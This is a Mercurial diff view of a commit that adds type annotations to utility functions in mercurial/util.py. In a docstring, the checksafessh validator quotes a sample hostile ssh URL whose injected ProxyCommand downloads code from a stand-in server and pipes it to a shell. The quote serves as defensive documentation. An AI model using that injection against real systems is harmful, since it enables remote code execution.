comparison mercurial/util.py @ 46645:7711853110b9

typing: add some type annotations to mercurial/util.py Differential Revision: https://phab.mercurial-scm.org/D10127
author Matt Harbison <matt_harbison@yahoo.com>
date Sat, 06 Mar 2021 23:41:32 -0500
parents 59fa3890d40a
children 6f4a481f182a
comparison
equal deleted inserted replaced
46644:77e129be10de 46645:7711853110b9
56 compression, 56 compression,
57 hashutil, 57 hashutil,
58 procutil, 58 procutil,
59 stringutil, 59 stringutil,
60 ) 60 )
61
62 if pycompat.TYPE_CHECKING:
63 from typing import (
64 Iterator,
65 List,
66 Optional,
67 Tuple,
68 Union,
69 )
70
61 71
62 base85 = policy.importmod('base85') 72 base85 = policy.importmod('base85')
63 osutil = policy.importmod('osutil') 73 osutil = policy.importmod('osutil')
64 74
65 b85decode = base85.b85decode 75 b85decode = base85.b85decode
131 unlink = platform.unlink 141 unlink = platform.unlink
132 username = platform.username 142 username = platform.username
133 143
134 144
135 def setumask(val): 145 def setumask(val):
146 # type: (int) -> None
136 ''' updates the umask. used by chg server ''' 147 ''' updates the umask. used by chg server '''
137 if pycompat.iswindows: 148 if pycompat.iswindows:
138 return 149 return
139 os.umask(val) 150 os.umask(val)
140 global umask 151 global umask
305 % (k, v, self._digester[k]) 316 % (k, v, self._digester[k])
306 ) 317 )
307 318
308 319
309 try: 320 try:
310 buffer = buffer 321 buffer = buffer # pytype: disable=name-error
311 except NameError: 322 except NameError:
312 323
313 def buffer(sliceable, offset=0, length=None): 324 def buffer(sliceable, offset=0, length=None):
314 if length is not None: 325 if length is not None:
315 return memoryview(sliceable)[offset : offset + length] 326 return memoryview(sliceable)[offset : offset + length]
1831 # PyPy runs slower with gc disabled 1842 # PyPy runs slower with gc disabled
1832 nogc = lambda x: x 1843 nogc = lambda x: x
1833 1844
1834 1845
1835 def pathto(root, n1, n2): 1846 def pathto(root, n1, n2):
1847 # type: (bytes, bytes, bytes) -> bytes
1836 """return the relative path from one place to another. 1848 """return the relative path from one place to another.
1837 root should use os.sep to separate directories 1849 root should use os.sep to separate directories
1838 n1 should use os.sep to separate directories 1850 n1 should use os.sep to separate directories
1839 n2 should use "/" to separate directories 1851 n2 should use "/" to separate directories
1840 returns an os.sep-separated path. 1852 returns an os.sep-separated path.
2015 } 2027 }
2016 _winreservedchars = b':*?"<>|' 2028 _winreservedchars = b':*?"<>|'
2017 2029
2018 2030
2019 def checkwinfilename(path): 2031 def checkwinfilename(path):
2032 # type: (bytes) -> Optional[bytes]
2020 r"""Check that the base-relative path is a valid filename on Windows. 2033 r"""Check that the base-relative path is a valid filename on Windows.
2021 Returns None if the path is ok, or a UI string describing the problem. 2034 Returns None if the path is ok, or a UI string describing the problem.
2022 2035
2023 >>> checkwinfilename(b"just/a/normal/path") 2036 >>> checkwinfilename(b"just/a/normal/path")
2024 >>> checkwinfilename(b"foo/bar/con.xml") 2037 >>> checkwinfilename(b"foo/bar/con.xml")
2109 os.write(ld, info) 2122 os.write(ld, info)
2110 os.close(ld) 2123 os.close(ld)
2111 2124
2112 2125
2113 def readlock(pathname): 2126 def readlock(pathname):
2127 # type: (bytes) -> bytes
2114 try: 2128 try:
2115 return readlink(pathname) 2129 return readlink(pathname)
2116 except OSError as why: 2130 except OSError as why:
2117 if why.errno not in (errno.EINVAL, errno.ENOSYS): 2131 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2118 raise 2132 raise
2132 2146
2133 # File system features 2147 # File system features
2134 2148
2135 2149
2136 def fscasesensitive(path): 2150 def fscasesensitive(path):
2151 # type: (bytes) -> bool
2137 """ 2152 """
2138 Return true if the given path is on a case-sensitive filesystem 2153 Return true if the given path is on a case-sensitive filesystem
2139 2154
2140 Requires a path (like /foo/.hg) ending with a foldable final 2155 Requires a path (like /foo/.hg) ending with a foldable final
2141 directory component. 2156 directory component.
2213 2228
2214 _fspathcache = {} 2229 _fspathcache = {}
2215 2230
2216 2231
2217 def fspath(name, root): 2232 def fspath(name, root):
2233 # type: (bytes, bytes) -> bytes
2218 """Get name in the case stored in the filesystem 2234 """Get name in the case stored in the filesystem
2219 2235
2220 The name should be relative to root, and be normcase-ed for efficiency. 2236 The name should be relative to root, and be normcase-ed for efficiency.
2221 2237
2222 Note that this function is unnecessary, and should not be 2238 Note that this function is unnecessary, and should not be
2257 2273
2258 return b''.join(result) 2274 return b''.join(result)
2259 2275
2260 2276
2261 def checknlink(testfile): 2277 def checknlink(testfile):
2278 # type: (bytes) -> bool
2262 '''check whether hardlink count reporting works properly''' 2279 '''check whether hardlink count reporting works properly'''
2263 2280
2264 # testfile may be open, so we need a separate file for checking to 2281 # testfile may be open, so we need a separate file for checking to
2265 # work around issue2543 (or testfile may get lost on Samba shares) 2282 # work around issue2543 (or testfile may get lost on Samba shares)
2266 f1, f2, fp = None, None, None 2283 f1, f2, fp = None, None, None
2290 except OSError: 2307 except OSError:
2291 pass 2308 pass
2292 2309
2293 2310
2294 def endswithsep(path): 2311 def endswithsep(path):
2312 # type: (bytes) -> bool
2295 '''Check path ends with os.sep or os.altsep.''' 2313 '''Check path ends with os.sep or os.altsep.'''
2296 return ( 2314 return bool( # help pytype
2297 path.endswith(pycompat.ossep) 2315 path.endswith(pycompat.ossep)
2298 or pycompat.osaltsep 2316 or pycompat.osaltsep
2299 and path.endswith(pycompat.osaltsep) 2317 and path.endswith(pycompat.osaltsep)
2300 ) 2318 )
2301 2319
2302 2320
2303 def splitpath(path): 2321 def splitpath(path):
2322 # type: (bytes) -> List[bytes]
2304 """Split path by os.sep. 2323 """Split path by os.sep.
2305 Note that this function does not use os.altsep because this is 2324 Note that this function does not use os.altsep because this is
2306 an alternative of simple "xxx.split(os.sep)". 2325 an alternative of simple "xxx.split(os.sep)".
2307 It is recommended to use os.path.normpath() before using this 2326 It is recommended to use os.path.normpath() before using this
2308 function if need.""" 2327 function if need."""
2527 else: 2546 else:
2528 self.close() 2547 self.close()
2529 2548
2530 2549
2531 def unlinkpath(f, ignoremissing=False, rmdir=True): 2550 def unlinkpath(f, ignoremissing=False, rmdir=True):
2551 # type: (bytes, bool, bool) -> None
2532 """unlink and remove the directory if it is empty""" 2552 """unlink and remove the directory if it is empty"""
2533 if ignoremissing: 2553 if ignoremissing:
2534 tryunlink(f) 2554 tryunlink(f)
2535 else: 2555 else:
2536 unlink(f) 2556 unlink(f)
2541 except OSError: 2561 except OSError:
2542 pass 2562 pass
2543 2563
2544 2564
2545 def tryunlink(f): 2565 def tryunlink(f):
2566 # type: (bytes) -> None
2546 """Attempt to remove a file, ignoring ENOENT errors.""" 2567 """Attempt to remove a file, ignoring ENOENT errors."""
2547 try: 2568 try:
2548 unlink(f) 2569 unlink(f)
2549 except OSError as e: 2570 except OSError as e:
2550 if e.errno != errno.ENOENT: 2571 if e.errno != errno.ENOENT:
2551 raise 2572 raise
2552 2573
2553 2574
2554 def makedirs(name, mode=None, notindexed=False): 2575 def makedirs(name, mode=None, notindexed=False):
2576 # type: (bytes, Optional[int], bool) -> None
2555 """recursive directory creation with parent mode inheritance 2577 """recursive directory creation with parent mode inheritance
2556 2578
2557 Newly created directories are marked as "not to be indexed by 2579 Newly created directories are marked as "not to be indexed by
2558 the content indexing service", if ``notindexed`` is specified 2580 the content indexing service", if ``notindexed`` is specified
2559 for "write" mode access. 2581 for "write" mode access.
2579 if mode is not None: 2601 if mode is not None:
2580 os.chmod(name, mode) 2602 os.chmod(name, mode)
2581 2603
2582 2604
2583 def readfile(path): 2605 def readfile(path):
2606 # type: (bytes) -> bytes
2584 with open(path, b'rb') as fp: 2607 with open(path, b'rb') as fp:
2585 return fp.read() 2608 return fp.read()
2586 2609
2587 2610
2588 def writefile(path, text): 2611 def writefile(path, text):
2612 # type: (bytes, bytes) -> None
2589 with open(path, b'wb') as fp: 2613 with open(path, b'wb') as fp:
2590 fp.write(text) 2614 fp.write(text)
2591 2615
2592 2616
2593 def appendfile(path, text): 2617 def appendfile(path, text):
2618 # type: (bytes, bytes) -> None
2594 with open(path, b'ab') as fp: 2619 with open(path, b'ab') as fp:
2595 fp.write(text) 2620 fp.write(text)
2596 2621
2597 2622
2598 class chunkbuffer(object): 2623 class chunkbuffer(object):
2750 2775
2751 return go 2776 return go
2752 2777
2753 2778
2754 def processlinerange(fromline, toline): 2779 def processlinerange(fromline, toline):
2780 # type: (int, int) -> Tuple[int, int]
2755 """Check that linerange <fromline>:<toline> makes sense and return a 2781 """Check that linerange <fromline>:<toline> makes sense and return a
2756 0-based range. 2782 0-based range.
2757 2783
2758 >>> processlinerange(10, 20) 2784 >>> processlinerange(10, 20)
2759 (9, 20) 2785 (9, 20)
2809 # stray CR is an error. 2835 # stray CR is an error.
2810 _eolre = remod.compile(br'\r*\n') 2836 _eolre = remod.compile(br'\r*\n')
2811 2837
2812 2838
2813 def tolf(s): 2839 def tolf(s):
2840 # type: (bytes) -> bytes
2814 return _eolre.sub(b'\n', s) 2841 return _eolre.sub(b'\n', s)
2815 2842
2816 2843
2817 def tocrlf(s): 2844 def tocrlf(s):
2845 # type: (bytes) -> bytes
2818 return _eolre.sub(b'\r\n', s) 2846 return _eolre.sub(b'\r\n', s)
2819 2847
2820 2848
2821 def _crlfwriter(fp): 2849 def _crlfwriter(fp):
2822 return transformingwriter(fp, tocrlf) 2850 return transformingwriter(fp, tocrlf)
2876 def iterfile(fp): 2904 def iterfile(fp):
2877 return fp 2905 return fp
2878 2906
2879 2907
2880 def iterlines(iterator): 2908 def iterlines(iterator):
2909 # type: (Iterator[bytes]) -> Iterator[bytes]
2881 for chunk in iterator: 2910 for chunk in iterator:
2882 for line in chunk.splitlines(): 2911 for line in chunk.splitlines():
2883 yield line 2912 yield line
2884 2913
2885 2914
2886 def expandpath(path): 2915 def expandpath(path):
2916 # type: (bytes) -> bytes
2887 return os.path.expanduser(os.path.expandvars(path)) 2917 return os.path.expanduser(os.path.expandvars(path))
2888 2918
2889 2919
2890 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): 2920 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2891 """Return the result of interpolating items in the mapping into string s. 2921 """Return the result of interpolating items in the mapping into string s.
2912 r = remod.compile(br'%s(%s)' % (prefix, patterns)) 2942 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2913 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) 2943 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2914 2944
2915 2945
2916 def getport(port): 2946 def getport(port):
2947 # type: (Union[bytes, int]) -> int
2917 """Return the port for a given network service. 2948 """Return the port for a given network service.
2918 2949
2919 If port is an integer, it's returned as is. If it's a string, it's 2950 If port is an integer, it's returned as is. If it's a string, it's
2920 looked up using socket.getservbyname(). If there's no matching 2951 looked up using socket.getservbyname(). If there's no matching
2921 service, error.Abort is raised. 2952 service, error.Abort is raised.
3010 _safechars = b"!~*'()+" 3041 _safechars = b"!~*'()+"
3011 _safepchars = b"/!~*'()+:\\" 3042 _safepchars = b"/!~*'()+:\\"
3012 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match 3043 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3013 3044
3014 def __init__(self, path, parsequery=True, parsefragment=True): 3045 def __init__(self, path, parsequery=True, parsefragment=True):
3046 # type: (bytes, bool, bool) -> None
3015 # We slowly chomp away at path until we have only the path left 3047 # We slowly chomp away at path until we have only the path left
3016 self.scheme = self.user = self.passwd = self.host = None 3048 self.scheme = self.user = self.passwd = self.host = None
3017 self.port = self.path = self.query = self.fragment = None 3049 self.port = self.path = self.query = self.fragment = None
3018 self._localpath = True 3050 self._localpath = True
3019 self._hostport = b'' 3051 self._hostport = b''
3237 if self.path.startswith(b'/'): 3269 if self.path.startswith(b'/'):
3238 return True # POSIX-style 3270 return True # POSIX-style
3239 return False 3271 return False
3240 3272
3241 def localpath(self): 3273 def localpath(self):
3274 # type: () -> bytes
3242 if self.scheme == b'file' or self.scheme == b'bundle': 3275 if self.scheme == b'file' or self.scheme == b'bundle':
3243 path = self.path or b'/' 3276 path = self.path or b'/'
3244 # For Windows, we need to promote hosts containing drive 3277 # For Windows, we need to promote hosts containing drive
3245 # letters to paths with drive letters. 3278 # letters to paths with drive letters.
3246 if hasdriveletter(self._hostport): 3279 if hasdriveletter(self._hostport):
3260 or self.scheme == b'bundle' 3293 or self.scheme == b'bundle'
3261 ) 3294 )
3262 3295
3263 3296
3264 def hasscheme(path): 3297 def hasscheme(path):
3265 return bool(url(path).scheme) 3298 # type: (bytes) -> bool
3299 return bool(url(path).scheme) # cast to help pytype
3266 3300
3267 3301
3268 def hasdriveletter(path): 3302 def hasdriveletter(path):
3269 return path and path[1:2] == b':' and path[0:1].isalpha() 3303 # type: (bytes) -> bool
3304 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
3270 3305
3271 3306
3272 def urllocalpath(path): 3307 def urllocalpath(path):
3308 # type: (bytes) -> bytes
3273 return url(path, parsequery=False, parsefragment=False).localpath() 3309 return url(path, parsequery=False, parsefragment=False).localpath()
3274 3310
3275 3311
3276 def checksafessh(path): 3312 def checksafessh(path):
3313 # type: (bytes) -> None
3277 """check if a path / url is a potentially unsafe ssh exploit (SEC) 3314 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3278 3315
3279 This is a sanity check for ssh urls. ssh will parse the first item as 3316 This is a sanity check for ssh urls. ssh will parse the first item as
3280 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. 3317 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3281 Let's prevent these potentially exploited urls entirely and warn the 3318 Let's prevent these potentially exploited urls entirely and warn the
3289 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) 3326 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3290 ) 3327 )
3291 3328
3292 3329
3293 def hidepassword(u): 3330 def hidepassword(u):
3331 # type: (bytes) -> bytes
3294 '''hide user credential in a url string''' 3332 '''hide user credential in a url string'''
3295 u = url(u) 3333 u = url(u)
3296 if u.passwd: 3334 if u.passwd:
3297 u.passwd = b'***' 3335 u.passwd = b'***'
3298 return bytes(u) 3336 return bytes(u)
3299 3337
3300 3338
3301 def removeauth(u): 3339 def removeauth(u):
3340 # type: (bytes) -> bytes
3302 '''remove all authentication information from a url string''' 3341 '''remove all authentication information from a url string'''
3303 u = url(u) 3342 u = url(u)
3304 u.user = u.passwd = None 3343 u.user = u.passwd = None
3305 return bytes(u) 3344 return bytes(u)
3306 3345
3402 (b'b', 1), 3441 (b'b', 1),
3403 ) 3442 )
3404 3443
3405 3444
3406 def sizetoint(s): 3445 def sizetoint(s):
3446 # type: (bytes) -> int
3407 """Convert a space specifier to a byte count. 3447 """Convert a space specifier to a byte count.
3408 3448
3409 >>> sizetoint(b'30') 3449 >>> sizetoint(b'30')
3410 30 3450 30
3411 >>> sizetoint(b'2.2kb') 3451 >>> sizetoint(b'2.2kb')
3627 else: 3667 else:
3628 yield 3668 yield
3629 3669
3630 3670
3631 def _estimatememory(): 3671 def _estimatememory():
3672 # type: () -> Optional[int]
3632 """Provide an estimate for the available system memory in Bytes. 3673 """Provide an estimate for the available system memory in Bytes.
3633 3674
3634 If no estimate can be provided on the platform, returns None. 3675 If no estimate can be provided on the platform, returns None.
3635 """ 3676 """
3636 if pycompat.sysplatform.startswith(b'win'): 3677 if pycompat.sysplatform.startswith(b'win'):
3637 # On Windows, use the GlobalMemoryStatusEx kernel function directly. 3678 # On Windows, use the GlobalMemoryStatusEx kernel function directly.
3638 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG 3679 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
3639 from ctypes.wintypes import Structure, byref, sizeof, windll 3680 from ctypes.wintypes import ( # pytype: disable=import-error
3681 Structure,
3682 byref,
3683 sizeof,
3684 windll,
3685 )
3640 3686
3641 class MEMORYSTATUSEX(Structure): 3687 class MEMORYSTATUSEX(Structure):
3642 _fields_ = [ 3688 _fields_ = [
3643 ('dwLength', DWORD), 3689 ('dwLength', DWORD),
3644 ('dwMemoryLoad', DWORD), 3690 ('dwMemoryLoad', DWORD),